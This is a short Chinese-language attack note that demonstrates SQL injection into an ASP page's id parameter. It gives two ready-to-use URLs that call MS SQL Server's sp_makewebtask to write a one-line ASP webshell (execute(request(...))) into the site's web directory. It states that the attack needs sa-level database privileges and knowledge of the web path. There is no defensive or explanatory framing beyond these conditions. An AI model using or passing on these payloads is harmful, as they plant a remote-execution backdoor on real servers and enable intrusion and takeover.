示范：

http://127.0.0.1/XXXasp?id=3389';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
前提是注入点是sa权限

用sp_makewebtask直接在web目录里写入一句话马：
条件是要sa权限和站点的web路径:

http://127.0.0.1/xxx.asp?id=123';exec%20sp_makewebtask%20'd:\www\xxx\xxx.asp','%20select%20''<%25execute(request("cn"))%25>''%20';--